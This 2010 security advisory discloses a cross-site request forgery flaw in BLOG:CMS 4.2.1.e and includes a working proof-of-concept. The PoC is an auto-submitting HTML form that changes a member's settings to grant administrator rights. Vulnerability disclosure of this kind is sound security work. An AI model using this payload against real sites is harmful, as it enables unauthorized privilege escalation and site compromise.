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XSRF (CSRF) in BLOG:CMS
From: advisory () htbridge ch
Date: Wed, 15 Dec 2010 20:22:23 +0100 (CET)
Vulnerability ID: HTB22727 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_blogcms.html Product: BLOG:CMS Vendor: Radek Hulán ( http://blogcms.com/ ) Vulnerable Version: 4.2.1.e and probably prior versions Vendor Notification: 30 November 2010 Vulnerability Type: CSRF (Cross-Site Request Forgery) Status: Not Fixed, Vendor Alerted Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the "admin/libs/ADMIN.php" script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/index.php" method="post" name="main"> <input type="hidden" name="action" value="changemembersettings"> <input type="hidden" name="memberid" value="USER_UD"> <input type="hidden" name="name" value="tester"> <input type="hidden" name="realname" value="tester"> <input type="hidden" name="password" value=""> <input type="hidden" name="repeatpassword" value=""> <input type="hidden" name="email" value="email () example com"> <input type="hidden" name="url" value=""> <input type="hidden" name="admin" value="1"> <input type="hidden" name="canlogin" value="1"> <input type="hidden" name="notes" value=""> <input type="hidden" name="deflang" value=""> </form> <script> document.main.submit(); </script>
Current thread:
- XSRF (CSRF) in BLOG:CMS advisory (Dec 16)